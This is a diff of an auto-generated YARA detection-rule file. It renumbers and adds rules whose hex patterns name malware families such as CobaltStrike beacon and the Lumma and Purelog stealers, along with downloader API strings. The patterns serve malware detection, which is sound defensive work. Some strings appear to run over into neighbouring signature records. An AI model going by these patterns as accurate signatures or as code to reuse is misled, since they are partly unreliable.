_InfrastructureShared_4602{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4603{ +rule _InfrastructureShared_4789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47620,7 +49535,7 @@ rule _InfrastructureShared_4603{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4604{ +rule _InfrastructureShared_4790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47630,7 +49545,7 @@ rule _InfrastructureShared_4604{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4605{ +rule _InfrastructureShared_4791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47640,7 +49555,7 @@ rule _InfrastructureShared_4605{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4606{ +rule _InfrastructureShared_4792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47650,7 +49565,7 @@ rule _InfrastructureShared_4606{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4607{ +rule _InfrastructureShared_4793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47660,7 +49575,7 @@ rule _InfrastructureShared_4607{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4608{ +rule _InfrastructureShared_4794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47670,7 +49585,7 @@ rule _InfrastructureShared_4608{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4609{ +rule _InfrastructureShared_4795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47680,7 +49595,7 @@ rule _InfrastructureShared_4609{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4610{ +rule _InfrastructureShared_4796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47690,7 +49605,7 @@ rule _InfrastructureShared_4610{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4611{ +rule _InfrastructureShared_4797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47700,7 +49615,7 @@ rule _InfrastructureShared_4611{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4612{ +rule _InfrastructureShared_4798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47710,7 +49625,7 @@ rule _InfrastructureShared_4612{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4613{ +rule _InfrastructureShared_4799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47720,7 +49635,7 @@ rule _InfrastructureShared_4613{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4614{ +rule _InfrastructureShared_4800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47730,7 +49645,7 @@ rule _InfrastructureShared_4614{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4615{ +rule _InfrastructureShared_4801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47740,7 +49655,7 @@ rule _InfrastructureShared_4615{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4616{ +rule _InfrastructureShared_4802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47750,7 +49665,7 @@ rule _InfrastructureShared_4616{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4617{ +rule _InfrastructureShared_4803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47760,7 +49675,7 @@ rule _InfrastructureShared_4617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4618{ +rule _InfrastructureShared_4804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47770,7 +49685,7 @@ rule _InfrastructureShared_4618{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4619{ +rule _InfrastructureShared_4805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47780,7 +49695,7 @@ rule _InfrastructureShared_4619{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4620{ +rule _InfrastructureShared_4806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47790,7 +49705,7 @@ rule _InfrastructureShared_4620{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4621{ +rule _InfrastructureShared_4807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47800,7 +49715,7 @@ rule _InfrastructureShared_4621{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4622{ +rule _InfrastructureShared_4808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47810,17 +49725,27 @@ rule _InfrastructureShared_4622{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4623{ +rule _InfrastructureShared_4809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 56 69 72 75 73 54 72 69 67 67 65 72 00 01 00 2e 01 66 3a 5c 56 69 72 75 73 54 72 69 67 67 65 72 5c 53 72 63 5c 41 64 57 61 72 65 5c 52 65 6c 65 61 73 65 5c 41 6e 76 54 72 67 72 2e 70 64 62 00 00 78 5a 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 } //19491 + $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 56 69 72 75 73 54 72 69 67 67 65 72 00 01 00 2e 01 66 3a 5c 56 69 72 75 73 54 72 69 67 67 65 72 5c 53 72 63 5c 41 64 57 61 72 65 5c 52 65 6c 65 61 73 65 5c 41 6e 76 54 72 67 72 2e 70 64 62 00 00 78 5a 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 63 6f } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4624{ +rule _InfrastructureShared_4810{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 63 6f 6e 79 64 2e 41 41 21 4d 54 42 00 01 00 2c 03 8b 3f 8b 4e ?? 33 c0 85 ff 7e ?? 30 0c 28 40 3b c7 7c ?? 8b 7c 24 ?? 83 76 ?? ?? 83 ff ?? 74 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47830,7 +49755,7 @@ rule _InfrastructureShared_4624{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4625{ +rule _InfrastructureShared_4812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47840,17 +49765,7 @@ rule _InfrastructureShared_4625{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4626{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 47 50 50 42 21 4d 54 42 00 01 00 27 81 01 52 2f 2f 2f 65 2f 2f 2f 2f 2f 2f 2f 67 2f 41 2f 2f 2f 2f 2f 2f 73 2f 6d 2f 2e 2f 65 2f 2f 2f 2f } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_4627{ +rule _InfrastructureShared_4813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47860,7 +49775,7 @@ rule _InfrastructureShared_4627{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4628{ +rule _InfrastructureShared_4814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47870,7 +49785,7 @@ rule _InfrastructureShared_4628{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4629{ +rule _InfrastructureShared_4815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47880,7 +49795,7 @@ rule _InfrastructureShared_4629{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4630{ +rule _InfrastructureShared_4816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47890,7 +49805,7 @@ rule _InfrastructureShared_4630{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4631{ +rule _InfrastructureShared_4817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47900,7 +49815,7 @@ rule _InfrastructureShared_4631{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4632{ +rule _InfrastructureShared_4818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -47910,7 +49825,7 @@ rule _InfrastructureShared_4632{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4633{ +rule _InfrastructureShared_4819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -47921,7 +49836,7 @@ rule _InfrastructureShared_4633{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=1 } -rule _InfrastructureShared_4634{ +rule _InfrastructureShared_4820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -47931,7 +49846,7 @@ rule _InfrastructureShared_4634{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4635{ +rule _InfrastructureShared_4821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -47941,7 +49856,7 @@ rule _InfrastructureShared_4635{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4636{ +rule _InfrastructureShared_4822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -47951,7 +49866,7 @@ rule _InfrastructureShared_4636{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4637{ +rule _InfrastructureShared_4823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -47961,7 +49876,17 @@ rule _InfrastructureShared_4637{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4638{ +rule _InfrastructureShared_4824{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 72 4f 70 65 72 61 74 69 6f 6e 73 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 01 00 11 81 01 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 00 00 78 5a 00 00 01 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_4825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -47972,7 +49897,7 @@ rule _InfrastructureShared_4638{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*8448) >=1 } -rule _InfrastructureShared_4639{ +rule _InfrastructureShared_4826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -47983,7 +49908,7 @@ rule _InfrastructureShared_4639{ ((#a_54_0 & 1)*18467+(#a_4c_2 & 1)*8448) >=1 } -rule _InfrastructureShared_4640{ +rule _InfrastructureShared_4827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -47995,19 +49920,19 @@ rule _InfrastructureShared_4640{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*24931+(#a_90_2 & 1)*0) >=1 } -rule _InfrastructureShared_4641{ +rule _InfrastructureShared_4828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 65 6e 64 61 67 75 79 2e 70 64 62 00 01 00 0f 01 66 61 74 68 65 72 69 61 72 74 2e 70 64 62 00 01 00 10 01 64 66 73 66 67 6a 66 67 64 65 73 2e 70 64 62 00 00 00 78 5a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 } //25635 - $a_2e_1 = {54 45 45 21 4d 54 42 00 02 00 2a 03 20 d6 07 00 00 28 90 01 01 49 00 06 20 0a 08 00 00 28 90 01 01 0e 00 06 28 90 01 01 0e 00 06 a2 28 90 01 01 0e 00 06 0a 90 00 00 00 78 5a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 41 52 41 21 4d 54 42 00 02 00 2d 03 09 08 8e 69 33 02 16 0d 07 11 08 07 } //25964 - $a_08_2 = {09 93 28 90 01 03 0a 61 d2 9c 09 17 58 0d 11 08 17 58 13 08 11 08 07 8e 69 32 d5 90 00 00 00 78 5a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 57 68 69 74 65 53 6e 61 6b 65 2e 53 4b 21 4d 54 42 00 02 00 27 01 08 09 06 07 06 6f 19 00 00 0a 6f cb 00 00 0a 6f 1a 00 00 0a 9d 00 09 17 58 0d 09 02 fe 04 13 04 11 04 3a d8 ff ff ff 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 } //2065 + $a_2e_1 = {54 45 45 21 4d 54 42 00 02 00 2a 03 20 d6 07 00 00 28 90 01 01 49 00 06 20 0a 08 00 00 28 90 01 01 0e 00 06 28 90 01 01 0e 00 06 a2 28 90 01 01 0e 00 06 0a 90 00 00 00 78 5a 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 6c 6f 67 73 74 65 61 6c 65 72 2e 53 49 4b 45 21 4d 54 42 00 02 00 24 03 6f f1 00 } //25964 + $a_59_2 = {90 01 01 00 00 0a 16 7e 90 01 01 01 00 04 02 1a 28 90 01 01 00 00 0a } //2560 condition: - ((#a_5f_0 & 1)*25635+(#a_2e_1 & 1)*25964+(#a_08_2 & 1)*2065) >=1 + ((#a_5f_0 & 1)*25635+(#a_2e_1 & 1)*25964+(#a_59_2 & 1)*2560) >=1 } -rule _InfrastructureShared_4642{ +rule _InfrastructureShared_4829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -48017,7 +49942,17 @@ rule _InfrastructureShared_4642{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4643{ +rule _InfrastructureShared_4830{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 6c 6f 67 73 74 65 61 6c 65 72 2e 53 49 4b 45 21 4d 54 42 00 02 00 24 03 6f f1 00 00 0a 17 59 28 ?? 00 00 0a 16 7e ?? 01 00 04 02 1a 28 ?? 00 00 0a 11 05 0d } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_4831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -48027,7 +49962,37 @@ rule _InfrastructureShared_4643{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_4644{ +rule _InfrastructureShared_4832{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 42 41 44 21 4d 54 42 00 02 00 2b 03 83 c4 0c 8b 45 fc 8b 40 3c 8b 55 f8 01 d0 89 03 8b 13 89 f8 89 42 34 53 56 8b 45 08 50 e8 ?? ?? ?? ?? 89 f8 2b 46 34 89 45 f4 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_4833{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 65 64 79 2e 45 46 4b 4e 21 4d 54 42 00 02 00 2e 03 00 00 0a 0b 07 06 90 01 05 17 90 01 05 0c 08 02 16 02 8e 69 90 01 05 08 90 01 05 de 0a 08 2c 06 08 90 01 05 dc 07 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4834{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 65 6e 70 61 6b 2e 51 4c 4d 21 4d 54 42 00 02 00 2c 03 49 8b c1 49 f7 e0 48 c1 ea 90 01 01 48 8d 0c 52 48 03 c9 49 8b c0 48 2b c1 0f b6 44 04 90 01 01 43 00 04 10 49 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -48037,29 +50002,40 @@ rule _InfrastructureShared_4644{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_4645{ +rule _InfrastructureShared_4836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {48 53 54 52 3a 4c 6f 61 64 65 72 2e 42 6c 69 73 74 65 72 2e 42 00 01 00 19 03 0f be c0 33 c6 69 f0 ?? ?? ?? ?? 8b c6 c1 e8 0f 33 f0 41 8a 01 84 c0 75 90 00 01 00 15 03 8b c6 83 e0 03 8a 44 05 ?? 30 04 ?? 46 81 fe } //16675 - $a_5a_1 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 42 41 42 21 62 69 74 00 01 00 10 01 8b 48 30 8b 19 81 e3 df 00 df 00 8b 49 0b 01 d9 01 00 14 03 4b 8b 1e 85 c1 81 f3 90 01 04 3b f3 89 18 89 c3 49 49 90 00 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 } //0 + $a_5a_1 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 42 41 42 21 62 69 74 00 01 00 10 01 8b 48 30 8b 19 81 e3 df 00 df 00 8b 49 0b 01 d9 01 00 14 03 4b 8b 1e 85 c1 81 f3 90 01 04 3b f3 89 18 89 c3 49 49 90 00 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 } //0 condition: ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=2 } -rule _InfrastructureShared_4646{ +rule _InfrastructureShared_4837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {48 53 54 52 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 42 41 42 21 62 69 74 00 01 00 10 01 8b 48 30 8b 19 81 e3 df 00 df 00 8b 49 0b 01 d9 01 00 14 03 4b 8b 1e 85 c1 81 f3 ?? ?? ?? ?? 3b f3 89 18 89 c3 49 49 } //16675 + $a_5a_1 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6c 61 73 73 50 69 6c 6c 6f 77 2e 42 21 64 68 61 00 01 00 13 01 31 33 32 35 37 33 35 33 33 36 35 36 32 39 31 37 34 32 30 01 00 10 01 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_4838{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 47 6c 61 73 73 50 69 6c 6c 6f 77 2e 42 21 64 68 61 00 01 00 13 01 31 33 32 35 37 33 35 33 33 36 35 36 32 39 31 37 34 32 30 01 00 10 01 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f } //16675 $a_5a_1 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 65 72 73 65 75 73 2e 4b 42 00 01 00 19 01 06 08 58 0a 11 09 20 ff 07 00 00 5f 20 81 00 00 00 58 13 09 08 17 61 d2 0c 01 00 14 00 63 3a 5c 74 65 6d 70 5c 41 73 73 65 6d 62 6c 79 2e 65 78 65 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 42 4d 5f 4e 65 74 53 65 73 73 00 01 00 2c 01 4e 65 } //0 condition: ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=2 } -rule _InfrastructureShared_4647{ +rule _InfrastructureShared_4839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48070,7 +50046,7 @@ rule _InfrastructureShared_4647{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*0) >=2 } -rule _InfrastructureShared_4648{ +rule _InfrastructureShared_4840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48081,7 +50057,7 @@ rule _InfrastructureShared_4648{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_4649{ +rule _InfrastructureShared_4841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48091,7 +50067,7 @@ rule _InfrastructureShared_4649{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4650{ +rule _InfrastructureShared_4842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48101,7 +50077,7 @@ rule _InfrastructureShared_4650{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4651{ +rule _InfrastructureShared_4843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48111,7 +50087,7 @@ rule _InfrastructureShared_4651{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4652{ +rule _InfrastructureShared_4844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48121,7 +50097,7 @@ rule _InfrastructureShared_4652{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4653{ +rule _InfrastructureShared_4845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48131,7 +50107,7 @@ rule _InfrastructureShared_4653{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4654{ +rule _InfrastructureShared_4846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48141,7 +50117,7 @@ rule _InfrastructureShared_4654{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4655{ +rule _InfrastructureShared_4847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48151,18 +50127,29 @@ rule _InfrastructureShared_4655{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_4656{ +rule _InfrastructureShared_4848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_77_0 = {69 3a 4f 62 66 75 73 63 61 74 6f 72 3a 43 72 79 70 74 6f 72 32 00 02 00 13 01 8b 55 fc 8b 02 33 45 d4 8b 4d fc 89 01 8b 55 fc 83 c2 04 02 00 1b 01 33 3c 81 8b 85 e8 fd ff ff 83 e8 01 99 b9 1c 00 00 00 f7 f9 8b ca d3 ef 83 e7 0f 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 3a 43 6f 62 42 65 61 63 6f 6e 2e 41 00 01 00 } //19491 - $a_63_1 = {63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 4d 53 53 45 2d 25 64 2d 73 65 72 76 65 72 02 00 15 01 5c 5c 25 73 } //288 + $a_77_0 = {69 3a 4f 62 66 75 73 63 61 74 6f 72 3a 43 72 79 70 74 6f 72 32 00 02 00 13 01 8b 55 fc 8b 02 33 45 d4 8b 4d fc 89 01 8b 55 fc 83 c2 04 02 00 1b 01 33 3c 81 8b 85 e8 fd ff ff 83 e8 01 99 b9 1c 00 00 00 f7 f9 8b ca d3 ef 83 e7 0f 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d } //19491 + $a_74_1 = {61 6c 65 72 2e 4b 54 4c 21 4d 54 42 00 01 00 13 03 8b 44 8d 00 31 44 8c 90 01 01 41 83 f9 90 01 01 72 90 00 01 00 0e 03 8a 04 16 30 02 42 83 ed 90 01 01 75 90 00 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 3a 43 6f 62 42 65 61 63 6f } //25441 condition: - ((#a_77_0 & 1)*19491+(#a_63_1 & 1)*288) >=2 + ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*25441) >=2 } -rule _InfrastructureShared_4657{ +rule _InfrastructureShared_4849{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 4b 54 4c 21 4d 54 42 00 01 00 13 03 8b 44 8d 00 31 44 8c ?? 41 83 f9 ?? 72 90 00 01 00 0e 03 8a 04 16 30 02 42 83 ed ?? 75 } //21283 + $a_5a_1 = {00 02 00 02 00 02 00 21 23 53 4c 46 50 45 52 3a 43 6f 62 42 65 61 63 6f 6e 2e 41 00 01 00 20 01 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 4d 53 53 45 2d 25 64 2d 73 65 72 76 65 72 02 00 15 01 5c 5c 25 73 5c 70 69 70 65 5c 6d 73 61 67 65 6e 74 5f 25 78 00 00 00 78 5a 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_5a_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_4850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -48173,7 +50160,7 @@ rule 